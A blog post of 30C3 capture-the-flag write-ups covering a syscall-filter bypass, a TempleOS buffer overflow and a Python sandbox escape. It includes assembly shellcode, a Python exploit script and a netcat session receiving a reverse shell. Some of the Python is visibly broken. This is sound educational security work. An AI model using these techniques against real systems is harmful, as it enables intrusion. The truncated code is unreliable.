Sunday, December 29, 2013

30C3 CTF - int80 (sandbox 300)

Int80 was another sandbox-escape task on the awesome 30C3 CTF. In this task you could send in (via TCP) x86-64 machine code, which was filtered and later executed on a GNU/Linux machine. The filtering was done by searching for bytes that could be a syscall, sysenter or int 80 instructions (on byte level, not the instruction level), and changing them to a series of NOPs.

Additionally before the code was executed all registers were zeroed, and so was part of the stack (on the upper side of the RSP register) - the intention was to avoid address leaks and so disallow jumps into libc or the server binary itself (ASLR-rich land it was).

The problem discovered by us was that the lower side of the stack was not cleaned and it did contain an address to one of the server-binary functions (the signal handler). This allowed us to write a simple scanner that looked for the last 12-bits (the not-affected-by-ASLR ones) of the function address on the stack, grab that address, and then use it to call _mprotect function in the server binary itself. At some point we noticed that the offset of this address on the stack is identical to the local one, so we removed the "scanner" and replaced it with "static" code, that looked like this (nasm dialect):


        mov rsi, rsp        
        mov rax, [rsi-0x80] ; The handler function address will be here.
        sub rax, 0x2020F0
        and rax, 0xfffffffffffff000
        jmp mprot

        add rax, 0x980 ; Offset of _mprotect function from base.
        mov r8, rax
        lea rax, [rel $]
        and rax, 0xfffffffffffff000
        mov rdi, rax

        mov esi, 0x200
        mov edx, 7
        call r8 ; Make this area RWX!

Calling the _mprotect function made the shellcode area RWX again and allowed us to do some SMC to get the syscall instruction we needed for a reverse shell. The SMC we used looked like this:

 inc byte [rel n1]
        n1: db 0x0e, 0x05 ; This is syscall opcode minus 1

The rest, as they say, is history.

30C3 CTF - HolyChallenge (pwn 500)

HolyChallenge was a 30C3 CTF pwn task in which you were could talk (via TCP→serial) with a few-line-of-code application with an obvious stack-based buffer overflow. Now here's the twist: the app was run under 64-bit x86 TempleOS and was written in HolyC (as is the rest of the system) :)

Apart from the network access you were also provided with a local image of TempleOS running the CTF app, which allowed us to both do local tests and dump it's disk content (it used a FAT partition). The CTF app found on the disk looked like this:

U0 service_main()
  CommBusyPutS(1, "Hi!\nWelcome to the HolyChall!\nWhats Your Name?\n");
  U8 buffer[128];
  CommBusyGetS(1, buffer); ← obvious buffer overflow
  CommBusyPutS(1, "Unfortunately, there is not much in here, ");
  CommBusyPutS(1, buffer);
  CommBusyPutS(1, ".\n");

U0 service_parent()
  U8 b[1024];
  CommBusyPutS(1, "Hope you still had some fun...\nBye!\n");


So at first this looks pretty terrifying (unknown OS/API/etc), but it turns out the local image was compiled with TempleOS system debugger, which actually is pretty awesome! It's like a C (well, HolyC actually) scripted SoftICE - when you sent the name as e.g. "A"*256 (and so crashed the app), you would instantly be put in the debugger and could see the registers, play with memory, read addresses, etc (that being said, it did change the context to some other process).

We started by checking if we could put NUL-bytes in the shellcode and if it actually really was as simple as it looked. We've done this by running a very simple HolyC script in the debugger that looked for the EB FE (jmp $) sequence in memory below current RIP:

U8 *y;
for(y=0; y<_RIP; y++) if(*y == 0xEB && *(y+1) == 0xFF) Print("%x\n", y);
Running this gave us a couple of addresses; we've picked one we liked, added it (as 64-bit address) to the end of a string of 128+8 "A" letters, and inputted the result as the name (we used tcp for tests instead of stdin). As expected, the code did not crash and the displayed CPU usage went up to 99% - good.

The rest of the task was to learn enough about the TempleOS API to be able to open the flag.TXT file, read it and send it using CommBusyPutS (that much was obvious) to the serial port, which would transmit it via network to us.

The source code of TempleOS was really useful here, since it quickly allowed us to learn about a FileRead function, which reads N bytes from a file. Next we used the debugger to get the addresses (the beauty of non-ASLR OSes) of these functions (using &FileRead; and &CommBusyPutS; commands), as well as another short script to find the sequence FF E4 (jmp rsp) in memory (to return to the stack). Once we had the addresses, we created a simple payload:

[bits 64]

; Give us some breathing space on the stack.
sub rsp, 0x100
mov rbp, rsp
sub rsp, 0x100

; Get the flag.
push 64
lea rax, [rel str1]
push rax
mov eax, 0x2e39b ; FileRead
call rax

; Send it.
push rax
push 1
mov eax, 0x1dcf0 ; CommBusyPutS
call rax

; Enter the debugger.

str1: db "Flag.TXT", 0

The payload worked locally, so it was time to attack the server. The server did require to find a collision for the first 32-bits of a given SHA1 hash in order to even attempt to exploit the challenge - this made us write a simple C program that looked for the collision and call it from our Python exploit (see the end of the post). Finally it worked and we got the flag:

Welcome to Holy Challenge!
Unfortunately, this challenge consumes much cpu on our servers so you have to waste some cpu cycles too :)

please give a base64 encoded chunk of data resulting in a sha1 hash starting with hex:79aa76aa
-- Work to do: 79aa76aa
Running: a.exe 79aa76aa>solved2.txt
Solution: TyMBBg==
Right, now we start a vm for you (it will be killed after 30 seconds).
Welcome to the HolyChall!
Whats Your Name?


The Python part of our exploit:

# Echo server program
import socket
import struct
import sys
import os
import base64

def RecvUntil(sock, txt):
  d = ""
  while d.find(txt) == -1:
      dnow = sock.recv(1024)
      if len(dnow) == 0:
        print "[WARNING] RecvUntil() failed at recv"
        return False
    except socket.error as msg:
      print "[WARNING] RecvUntil() failed:", msg
      return False

    d += dnow

  return d

HOST = ''
PORT = 2323
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

data = RecvUntil(s, "> ")
print data

work=data[data.find('hex:') + 4:]

print "-- Work to do:", work

to_run = "a.exe %s>solved.txt" % work
print "Running:", to_run


n = int(open("solved.txt", "r").read(), 16)
n = base64.b64encode(struct.pack("<I", n))
print "Solution:", n

s.sendall(n + "\n")

data = RecvUntil(s, "Whats Your Name?")
print data

JMP_RSP = struct.pack("<Q", 0x34094)

#shell = "asdf"
shell = ("A"*128) 
shell += ("B"*8)
shell += JMP_RSP

with open("shellcode", "rb") as f:
  shell +=

shell += "\n";


data = RecvUntil(s, ".")
print data

while True:
  d = s.recv(1024)
  if d == '':
  print "Recv:", d

A really fun task :)

30C3 CTF - PyExec (sandbox 300)

TL;DR: # coding: unicode_escape

PyExec was a python-sandbox-escape type challenge on the recent 30C3 CTF. Basically you were allowed to execute filtered Python code server-side, where the filter was a mix of a blacklist and a whitelist. The solution turned out to be quite amusing :)

The code was fed to the server using a very simple web app that looked like this:

Since you were also given the source code of the server, you could peek at the filtering code, which worked like this:

  • It blacklisted all interesting function names (strings search), like "open" or "eval".
  • It allowed (whitelisted) only characters that matched this regular expression:
    ^[\r\na-z0-9#\t,+*/:%><= _\\\-]*$
    The regexp allows:
    • whitespaces
    • lower letters (only lower, no upper)
    • digits
    • and these special characters: # , + * / \ : % > < = _ -
If the filter disliked something, the code was not executed.

Codes that passed the filter were written into a temporary file and executed by an external Python process.

The solution is obvious if you have played with Python source code charsets before - declare a coding using the # coding: name directive and encode your payload with it.

At first we tried to go with utf-7, but since no upper characters are allowed, that turned out to be a no go. Finally we settled for a Python-specific codec called unicode_escape which allows the whole source code to look like inside-a-string escape sequences:
# coding: unicode_escape


In the end we've encoded a Python reverse shell to this encoding and used it to find and read the flag:

> nc -v -l 1234
Connection from port 1234 [tcp/*] accepted
/bin/sh: 0: can't access tty; job control turned off
$ ls
$ cat flag.txt

And that's it.